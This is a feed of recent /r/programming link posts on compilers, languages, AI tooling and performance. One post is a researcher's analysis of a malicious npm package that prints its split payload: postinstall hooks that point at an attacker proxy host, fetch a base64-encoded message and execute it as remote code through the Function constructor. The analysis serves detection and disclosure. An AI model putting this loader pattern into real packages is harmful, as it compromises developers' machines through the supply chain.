I will send you newest post from subreddit /r/programming
Tool Calling Agent with Structured Output using LangChain 🦜 + MCP Integration
https://www.reddit.com/r/programming/comments/1lnkwe3/tool_calling_agent_with_structured_output_using/
<!-- SC_OFF -->Build an MCP integrated tool calling agent with structured output using LangChain. Unfortunately LangChain doesn’t have an easy way to do both tool calling and structured output at the same time, so here is a nice workaround I figured out. <!-- SC_ON --> submitted by /u/DevJonPizza (https://www.reddit.com/user/DevJonPizza)
[link] (https://prompthippo.net/docs/langchain-tool-calling-agent-with-structured-output) [comments] (https://www.reddit.com/r/programming/comments/1lnkwe3/tool_calling_agent_with_structured_output_using/)
Let's make a game! 281: Player character attacks
https://www.reddit.com/r/programming/comments/1lnhw2t/lets_make_a_game_281_player_character_attacks/
submitted by /u/apeloverage (https://www.reddit.com/user/apeloverage)
[link] (https://www.youtube.com/watch?v=wvmMY_-dK3Y) [comments] (https://www.reddit.com/r/programming/comments/1lnhw2t/lets_make_a_game_281_player_character_attacks/)
Parameterized types in C using the new tag compatibility rule
https://www.reddit.com/r/programming/comments/1lm0cpt/parameterized_types_in_c_using_the_new_tag/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://nullprogram.com/blog/2025/06/26/) [comments] (https://www.reddit.com/r/programming/comments/1lm0cpt/parameterized_types_in_c_using_the_new_tag/)
Mochi v0.10.5: Support type-safe LINQ-style queries that compile to a bytecode VM
https://www.reddit.com/r/programming/comments/1llvbko/mochi_v0105_support_typesafe_linqstyle_queries/
<!-- SC_OFF -->We just released Mochi v0.10.5. It’s a small language that lets you write type-safe, SQL-style queries over JSON, CSV, YAML, or lists. Everything compiles to a register-based bytecode VM with constant folding, liveness analysis, and dead code elimination. If you’re learning how query engines or compilers work, this is a great place to dig in! <!-- SC_ON --> submitted by /u/Adept-Country4317 (https://www.reddit.com/user/Adept-Country4317)
[link] (https://github.com/mochilang/mochi/releases/tag/v0.10.5) [comments] (https://www.reddit.com/r/programming/comments/1llvbko/mochi_v0105_support_typesafe_linqstyle_queries/)
How to Make Claude Code Use Other Models
https://www.reddit.com/r/programming/comments/1llj5hg/how_to_make_claude_code_use_other_models/
submitted by /u/stackoverflooooooow (https://www.reddit.com/user/stackoverflooooooow)
[link] (https://www.pixelstech.net/article/1750991078-how-to-make-claude-code-use-other-models) [comments] (https://www.reddit.com/r/programming/comments/1llj5hg/how_to_make_claude_code_use_other_models/)
Real-world performance comparison of ebtree/cebtree/rbtree
https://www.reddit.com/r/programming/comments/1lle2dl/realworld_performance_comparison_of/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (http://wtarreau.blogspot.com/2025/06/real-world-performance-comparison-of.html) [comments] (https://www.reddit.com/r/programming/comments/1lle2dl/realworld_performance_comparison_of/)
Notes on type inference and polymorphism
https://www.reddit.com/r/programming/comments/1lle1sr/notes_on_type_inference_and_polymorphism/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://blog.snork.dev/posts/notes-on-type-inference-and-polymorphism.html) [comments] (https://www.reddit.com/r/programming/comments/1lle1sr/notes_on_type_inference_and_polymorphism/)
How much code does that proc macro generate?
https://www.reddit.com/r/programming/comments/1lle1q6/how_much_code_does_that_proc_macro_generate/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://nnethercote.github.io/2025/06/26/how-much-code-does-that-proc-macro-generate.html) [comments] (https://www.reddit.com/r/programming/comments/1lle1q6/how_much_code_does_that_proc_macro_generate/)
GCC 15 Continuously Improving AArch64
https://www.reddit.com/r/programming/comments/1lldzp5/gcc_15_continuously_improving_aarch64/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://community.arm.com/arm-community-blogs/b/tools-software-ides-blog/posts/gcc-15-continuously-improving) [comments] (https://www.reddit.com/r/programming/comments/1lldzp5/gcc_15_continuously_improving_aarch64/)
How much slower is random access, really?
https://www.reddit.com/r/programming/comments/1lldxio/how_much_slower_is_random_access_really/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://samestep.com/blog/random-access/) [comments] (https://www.reddit.com/r/programming/comments/1lldxio/how_much_slower_is_random_access_really/)
GitHub - yawaramin/dream-html: Type-safe markup rendering, form validation, and routing for OCaml Dream web framework
https://www.reddit.com/r/programming/comments/1llb4i0/github_yawaramindreamhtml_typesafe_markup/
submitted by /u/yawaramin (https://www.reddit.com/user/yawaramin)
[link] (https://github.com/yawaramin/dream-html) [comments] (https://www.reddit.com/r/programming/comments/1llb4i0/github_yawaramindreamhtml_typesafe_markup/)
Memory Safety is Merely Table Stakes
https://www.reddit.com/r/programming/comments/1ll9vcc/memory_safety_is_merely_table_stakes/
submitted by /u/exobrain (https://www.reddit.com/user/exobrain)
[link] (https://www.usenix.org/publications/loginonline/memory-safety-merely-table-stakes) [comments] (https://www.reddit.com/r/programming/comments/1ll9vcc/memory_safety_is_merely_table_stakes/)
So Long, Image Layouts: Simplifying Vulkan Synchronisation
https://www.reddit.com/r/programming/comments/1ll1ju8/so_long_image_layouts_simplifying_vulkan/
submitted by /u/GamerY7 (https://www.reddit.com/user/GamerY7)
[link] (https://www.khronos.org/blog/so-long-image-layouts-simplifying-vulkan-synchronisation) [comments] (https://www.reddit.com/r/programming/comments/1ll1ju8/so_long_image_layouts_simplifying_vulkan/)
Malicious npm eslint-config-airbnb-compat Package Hides Detection with Payload Splitting
https://www.reddit.com/r/programming/comments/1lkz2oa/malicious_npm_eslintconfigairbnbcompat_package/
<!-- SC_OFF -->Malicious open source packages are sometimes hard to detect because attackers smartly split the payload across multiple packages and assemble them together through the dependency chain. We found one such example in npm package eslint-config-airbnb-compat which most likely was attempting to impersonate eslint-config-airbnb with over 4M weekly download. Our conventional static code analysis based approach missed identifying eslint-config-airbnb-compat as malicious because the payload was split between eslint-config-airbnb-compat and its transitive dependency ts-runtime-compat-check. But we managed to detect it anyway due to some runtime analysis anomalies. Analysis eslint-config-airbnb-compat contains a post install script to execute setup.js "postinstall": "node ./setup", However, to avoid identification, the setup.js does not have any malicious code. It simply does the following: Copy the embedded .env.example to .env if (!fs.existsSync(".env")) { fs.copyFileSync(".env.example", ".env"); process.env.APP_PATH=process.cwd(); } The .env file contains the following APP_ENV=local APP_PROXY=https://proxy.eslint-proxy.site APP_LOCAL= ESLINT_DEBUG=true FORCE_COLOR=1 Execute npm install if node_modules directory is not present if (!fs.existsSync("node_modules")) { run('npm install'); } This may not appear as malicious but one of the transitive dependencies introduced by this package is ts-runtime-compat-check. This package in turn have a post install script: "postinstall": "node lib/install.js", The lib/install.js contains interesting code: const appPath = process.env.APP_PATH || 'http://localhost'; const proxy = process.env.APP_PROXY || 'http://localhost'; const response = await fetch( `${proxy}/api/v1/hb89/data?appPath=${appPath}` ); When introduced through eslint-config-airbnb-compat, it will have proxy=https://proxy.eslint-proxy.site in the fetch(..) call above. The above fetch call is expected to fail to trigger errorHandler function with remote server provided error message if (!response.ok) { const apiError = await response.json(); throw new Error(apiError.error); } await response.json(); } catch (err) { errorHandler(err.message); } So the remote server at https://proxy.eslint-proxy.site can return a JSON message such as {"error": ""} which in turn will be passed to errorHandler as an Error object. The error handler in turn does the following: Decode the message as base64 string const decoded = Buffer.from(error, "base64").toString("utf-8"); Constructs a function from the decoded string const handler = new Function.constructor("require", errCode); Finally executes the remote code const handlerFunc = createHandler(decoded); if (handlerFunc) { handlerFunc(require); } else { console.error("Handler function is not available."); } p.s: I am the author and maintainer of https://github.com/safedep/vet and we work to continuously detect and report malicious packages. <!-- SC_ON --> submitted by /u/Ok_Possibility1445 (https://www.reddit.com/user/Ok_Possibility1445)
[link] (https://safedep.io/digging-into-dynamic-malware-analysis-signals/) [comments] (https://www.reddit.com/r/programming/comments/1lkz2oa/malicious_npm_eslintconfigairbnbcompat_package/)
The importance of kindness in engineering
https://www.reddit.com/r/programming/comments/1lktp8d/the_importance_of_kindness_in_engineering/
<!-- SC_OFF -->Remember when you just started out and a senior sat with you and explained some basic concepts behind their code without judgement and patience? Remember when you saw a colleague working on a gnarly problem and you stepped in to pair with them or vice versa? Remember when you were extremely tired and someone chased you for an update on a piece of work that was not a priority. Instead of snapping at them you took a breath and explained why you could not look into it right now but would circle back to them in a week or so? Kindness is not only about reactive patience and being helpful but also influences the way we work. <!-- SC_ON --> submitted by /u/AlexandraLinnea (https://www.reddit.com/user/AlexandraLinnea)
[link] (https://ashouri.xyz/post/kindnessinengineering) [comments] (https://www.reddit.com/r/programming/comments/1lktp8d/the_importance_of_kindness_in_engineering/)
I built a web extension showing similar repositories on Github
https://www.reddit.com/r/programming/comments/1lnjenx/i_built_a_web_extension_showing_similar/
<!-- SC_OFF -->I trained a TruncatedSVC model on almost all Github stars to create embeddings for all repositories with more than 150 stars. I figured that could be useful so I fed the data to a Qdrant (https://qdrant.tech/) vector store and built an extension on top of it. Hope you like it! The extension is available on both Firefox (https://addons.mozilla.org/en-GB/firefox/addon/simrepo/) and Chrome (https://chromewebstore.google.com/detail/simrepo/jieoogmcigenidbkgnkaakagdnlnieap?authuser=1&hl=en) <!-- SC_ON --> submitted by /u/Mubelotix (https://www.reddit.com/user/Mubelotix)
[link] (https://github.com/Mubelotix/SimRepo) [comments] (https://www.reddit.com/r/programming/comments/1lnjenx/i_built_a_web_extension_showing_similar/)
From Vertex AI SDK to Google Gen AI SDK: Service Account Authentication for Python and Go
https://www.reddit.com/r/programming/comments/1lnhezn/from_vertex_ai_sdk_to_google_gen_ai_sdk_service/
submitted by /u/pgaleone (https://www.reddit.com/user/pgaleone)
[link] (https://pgaleone.eu/cloud/2025/06/29/vertex-ai-to-genai-sdk-service-account-auth-python-go/) [comments] (https://www.reddit.com/r/programming/comments/1lnhezn/from_vertex_ai_sdk_to_google_gen_ai_sdk_service/)
The software engineering "squeeze"
https://www.reddit.com/r/programming/comments/1llygag/the_software_engineering_squeeze/
submitted by /u/zaidesanton (https://www.reddit.com/user/zaidesanton)
[link] (https://zaidesanton.substack.com/p/the-software-engineering-squeeze) [comments] (https://www.reddit.com/r/programming/comments/1llygag/the_software_engineering_squeeze/)
How to Identify the Underlying Causes of Connection Timeout Errors for MongoDB With Java
https://www.reddit.com/r/programming/comments/1llmnlw/how_to_identify_the_underlying_causes_of/
submitted by /u/Majestic_Wallaby7374 (https://www.reddit.com/user/Majestic_Wallaby7374)
[link] (https://foojay.io/today/how-to-identify-the-underlying-causes-of-connection-timeout-errors-for-mongodb-with-java/) [comments] (https://www.reddit.com/r/programming/comments/1llmnlw/how_to_identify_the_underlying_causes_of/)
Bitsets match regular expressions, compactly
https://www.reddit.com/r/programming/comments/1lli8gx/bitsets_match_regular_expressions_compactly/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://pvk.ca/Blog/2013/06/23/bitsets-match-regular-expressions/) [comments] (https://www.reddit.com/r/programming/comments/1lli8gx/bitsets_match_regular_expressions_compactly/)
Some bits on malloc(0) in C being allowed to return NULL
https://www.reddit.com/r/programming/comments/1lle26b/some_bits_on_malloc0_in_c_being_allowed_to_return/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://utcc.utoronto.ca/~cks/space/blog/programming/CZeroSizeMallocSomeNotes) [comments] (https://www.reddit.com/r/programming/comments/1lle26b/some_bits_on_malloc0_in_c_being_allowed_to_return/)
Reflecting JSON into C++ Objects at compile time
https://www.reddit.com/r/programming/comments/1lle1ra/reflecting_json_into_c_objects_at_compile_time/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://brevzin.github.io/c++/2025/06/26/json-reflection/) [comments] (https://www.reddit.com/r/programming/comments/1lle1ra/reflecting_json_into_c_objects_at_compile_time/)
Weird expressions in rust
https://www.reddit.com/r/programming/comments/1lle00s/weird_expressions_in_rust/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://www.wakunguma.com/blog/rust-weird-expr) [comments] (https://www.reddit.com/r/programming/comments/1lle00s/weird_expressions_in_rust/)
Muvera: Making multi-vector retrieval as fast as single-vector search
https://www.reddit.com/r/programming/comments/1lldy96/muvera_making_multivector_retrieval_as_fast_as/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://research.google/blog/muvera-making-multi-vector-retrieval-as-fast-as-single-vector-search/) [comments] (https://www.reddit.com/r/programming/comments/1lldy96/muvera_making_multivector_retrieval_as_fast_as/)
"Why is the Rust compiler so slow?"
https://www.reddit.com/r/programming/comments/1lldxe8/why_is_the_rust_compiler_so_slow/
submitted by /u/ketralnis (https://www.reddit.com/user/ketralnis)
[link] (https://sharnoff.io/blog/why-rust-compiler-slow) [comments] (https://www.reddit.com/r/programming/comments/1lldxe8/why_is_the_rust_compiler_so_slow/)
Finding a 27-year-old easter egg in the Power Mac G3 ROM
https://www.reddit.com/r/programming/comments/1ll9xe5/finding_a_27yearold_easter_egg_in_the_power_mac/
submitted by /u/NXGZ (https://www.reddit.com/user/NXGZ)
[link] (https://www.downtowndougbrown.com/2025/06/finding-a-27-year-old-easter-egg-in-the-power-mac-g3-rom/) [comments] (https://www.reddit.com/r/programming/comments/1ll9xe5/finding_a_27yearold_easter_egg_in_the_power_mac/)
What is OpenTelemetry? [not in a nutshell] :)
https://www.reddit.com/r/programming/comments/1ll5vgx/what_is_opentelemetry_not_in_a_nutshell/
submitted by /u/elizObserves (https://www.reddit.com/user/elizObserves)
[link] (https://signoz.io/blog/what-is-opentelemetry/) [comments] (https://www.reddit.com/r/programming/comments/1ll5vgx/what_is_opentelemetry_not_in_a_nutshell/)
Box combinators
https://www.reddit.com/r/programming/comments/1ll1h47/box_combinators/
submitted by /u/Xadartt (https://www.reddit.com/user/Xadartt)
[link] (https://mmapped.blog/posts/41-box-combinators) [comments] (https://www.reddit.com/r/programming/comments/1ll1h47/box_combinators/)
Programming as Theory Building: Why Senior Developers Are More Valuable Than Ever
https://www.reddit.com/r/programming/comments/1lkx4ts/programming_as_theory_building_why_senior/
submitted by /u/cekrem (https://www.reddit.com/user/cekrem)
[link] (https://cekrem.github.io/posts/programming-as-theory-building-naur/) [comments] (https://www.reddit.com/r/programming/comments/1lkx4ts/programming_as_theory_building_why_senior/)
Built a cleaner, ad-free version of Chrome Dino with leaderboard & devtool hacks — would love feedback!
https://www.reddit.com/r/programming/comments/1lktk32/built_a_cleaner_adfree_version_of_chrome_dino/
<!-- SC_OFF -->Hey folks! I recently rebuilt the Chrome Dino game as a side project — but added some cool stuff to make it fun for devs: You can use Chrome DevTools to hack the game speed, jump height, or even make the dino invisible Works right in the browser — no login, no ads The idea was to make it a lightweight JavaScript playground + nostalgia hit 🤓 👉 https://dinogamerunner.in (https://dinogamerunner.in/) Would love your feedback — and if you’ve done similar browser-based builds, drop your links! 🙌 <!-- SC_ON --> submitted by /u/manishpamnani169 (https://www.reddit.com/user/manishpamnani169)
[link] (https://dinogamerunner.in/) [comments] (https://www.reddit.com/r/programming/comments/1lktk32/built_a_cleaner_adfree_version_of_chrome_dino/)